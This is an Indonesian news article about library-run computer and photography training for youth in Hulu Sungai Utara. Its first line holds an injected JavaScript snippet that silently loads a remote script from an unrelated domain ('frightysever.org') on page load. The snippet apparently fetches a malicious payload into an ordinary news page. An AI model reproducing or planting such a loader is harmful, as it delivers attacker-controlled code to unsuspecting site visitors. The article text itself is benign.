(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Transformasi Perpustakaan Berbasis Inklusi, Dispersip HSU Gelar Pelatihan Komputer dan Fotografi

KANALKALIMANTAN.COM, AMUNTAI – Melalui program transformasi perpustakaan berbasis inklusi sosial, Dinas Perpustakaan Dan Kearsipan (Dispersip) Kabupaten Hulu Sungai Utara (HSU) kembali menggelar pelatihan komputer dan fotografi bagi remaja. Pelatih dilaksanakan di Aula Dispersip HSU, Selasa (16/11/2021).

Kepala Dispersip HSU Hj. Lailatanur Raudhah mengatakan, sesuai UUNo 43 tahun 2007 tentang Perpustakaan dan UU No 23 tentang Pemerintahan Daerah yang ditindaklanjuti oleh Perda Kabupaten HSU No.18 tahun 2016, perpustakaan ditetapkan sebagai urusan wajib non pelayanan dasar untuk menyediakan layanan sesuai dengan kemajuan teknologi, informasi, dan kebutuhan masyarakat.

“Oleh karena itu perpustakaan bisa hadir di tengah masyarakat dalam menyediakan informasi dan ilmu pengetahuan melalui bahan pustaka tercetak, terekam dan digital,” ungkapnya.

Lailatannur menyebut, transformasi perpustakaan berbasis inklusi sosial merupakan salah satu upaya pemerintah dalam meningkatkan SDM kreatif dan inovatif.

“Melalui Transformasi perpustakaan berbasis inklusi sosial ini masyarakat dapat berkegiatan dan berinovasi baik di perpustakaan umum daerah maupun perpustakaan desa, semangat program seperti ini hendaknya terus digalangkan dan disupport oleh elemen pemerintah mulai dari pusat sampai kepedesaan,” imbuhnya.

Transformasi perpustakaan berbasis inklusi sosial adalah peran perpustakaan dalam meningkatkan Sumber Daya Manusia yang unggul melalui peningkatan literasi untuk mewujudkan Indonesia Maju.

“Berbagai upaya yang didorong atau didukung oleh pemerintah daerah HSU melalui kegiatan ini akan sangat berdampak nyata bagi masyarakat karena program tersebut mengajak masyarakat untuk senantiasa berkegiatan dan keterampilan,” jelasnya.

Lebih lanjut ia berharap, dengan adanya kegiatan tersebut dapat menjembatani masyarakat dalam berinovasi dan berkreasi sesuai dengan kemampuan yang dimiliki.
Adapun untuk pelatihan komputer akan dilaksanakan sebanyak 12 pertemuan, sedangkan pelatihan fotografer akan dilaksanakan sebanyak 3 pertemuan yang diikuti sebanyak 20 peserta. (kanalkalimantan.com/dew)

Reporter : dew
Editor : cell